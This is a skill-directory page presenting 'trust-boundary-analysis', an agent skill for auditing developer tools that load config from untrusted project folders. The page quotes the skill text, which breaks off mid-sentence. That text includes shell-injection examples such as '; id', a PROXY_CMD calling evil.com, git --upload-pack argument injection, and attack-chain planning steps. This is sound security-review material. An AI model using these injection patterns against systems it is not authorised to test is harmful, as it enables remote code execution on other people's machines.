Skip to content
Skillpedia
Security6.5k Β· #13979

trust-boundary-analysis

What it does

This skill is an audit guide for command-line tools, IDE extensions and plugin systems that read settings from the current folder. It is for developers and security reviewers who check how their tools start.

When to use it

  • βœ“When a developer asks the agent to check whether a CLI or IDE tool trusts settings files in any folder it opens.
  • βœ“When the agent traces a tool's startup order to see which config wins between project and user files.
  • βœ“When a team reviews a plugin system that loads code or MCP servers from a project directory.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan our developer tool run commands from a settings file in a project folder that a user just opened?”

5 new skills a week. 1 minute to read.

How it works

The agent traces how the tool finds config files, maps which files load first, and checks whether project files are trusted before they run commands.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Trust Boundary Analysis

This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.

When to Use

Apply this skill when the target:

  • Loads .env, settings.json, or config files from the current working directory
  • Has a plugin/extension system that auto-discovers and loads code
  • Spawns child processes with configuration-controlled commands
  • Is a CLI tool, IDE extension, language server, or build tool
  • Uses MCP (Model Context Protocol) servers configured via project files

Startup Sequence Audit

For any CLI tool or developer application, trace the full initialization:

1. Config file discovery

grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
  /workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'

Map the search order. Common dangerous patterns:

  • cwd/.tool/config.json β†’ cwd/.env β†’ ~/.tool/config β†’ /etc/tool/config
  • If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.

Record each config loading point:

kg_add_node("code_location", "loadConfig() reads .env from cwd",
  props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})

2. Environment variable injection

grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
  --include='*.py' --include='*.rs' /workspace/target/src/

Check: Are env vars from .env files injected into process.env? Which vars control dangerous behavior? Look for:

  • *_COMMAND, *_CMD, *_EXEC β†’ shell execution
  • *_PROXY β†’ SSRF / network interception
  • *_PATH, *_DIR β†’ path traversal
  • *_URL β†’ open redirect / SSRF
  • DEBUG, NODE_ENV β†’ bypass security controls

3. Workspace trust check

grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
  --include='*.js' /workspace/target/src/

Look for the pattern:

// DANGEROUS: trust disabled by default
if (!settings.folderTrustEnabled) {
  return { isTrusted: true };  // ← All workspaces trusted
}

If no trust check exists, every config is loaded blindly. This is the root cause.

4. Command execution from config

grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \
  --include='*.ts' --include='*.js' --include='*.py' /workspace/target/src/

For each spawn/exec call, check:

  • Is shell: true set? β†’ shell injection via crafted values
  • Does the command come from config? β†’ attacker-controlled execution
  • Is there any validation/allowlist on the command?

5. Plugin/tool auto-discovery

grep -rn 'discoverTools\|loadPlugins\|autoDiscover\|mcpServers\|toolDiscovery' \
  --include='*.ts' --include='*.js' /workspace/target/src/

Check: Are plugins/tools loaded from project-level config BEFORE any user confirmation? MCP servers, language server plugins, and build tool extensions are common vectors.

Trust Boundary Graph Modeling

Map the attack flow as a chain in the knowledge graph:

ENTRYPOINT (malicious .env file in cloned repo)
  β†’ enables β†’ ENV_INJECT (process.env poisoned)
    β†’ enables β†’ SHELL_EXEC (spawn with shell:true)
      β†’ reaches β†’ CROWN_JEWEL (arbitrary code execution)

Use low edge weights (0.2–0.4) for automatic/silent steps. Use higher weights (1.0+) for steps requiring user interaction.

Then call plan_attack_chains(top_k=5) to surface the cheapest paths.

Shell Quoting Vulnerabilities

When config values flow into shell commands, check for:

  1. Direct interpolation: `command ${userValue}` β†’ injection via ; id
  2. Single-quote escape: osascript -e '${path}' β†’ escape via ' in path
  3. Env var in shell context: PROXY_CMD="curl evil.com" β†’ executed as-is
  4. Argument injection: spawn('git', ['clone', userUrl]) β†’ --upload-pack= prefix

For each, the PoC pattern is:

  • Craft input that breaks out of the quoting context
  • Inject a command that proves execution (id, env, write a sentinel file)
  • Use validate_finding with the sentinel as the success pattern

Negative Control

Always test: does the same code path execute WITHOUT the malicious config? The negative control is the same operation with a clean/empty config directory. If the behavior occurs regardless, it's no

FAQ

Why does the current folder matter?

The skill says a project folder can hold config that a tool loads automatically, so a hostile repository could affect the user.

What is workspace trust?

The skill describes it as a check that asks whether a folder is trusted before its settings or plugins are used.

Which tools does this apply to?

The skill lists developer tools, CLIs, IDE extensions, language servers and build tools that read project config.

Details

Original description by the author

Trust boundary mapping and startup sequence audit for developer tools, CLI apps, and plugin systems. Load when the target is a developer tool, CLI, IDE extension, or any application that loads config from the current directory.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#13979
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills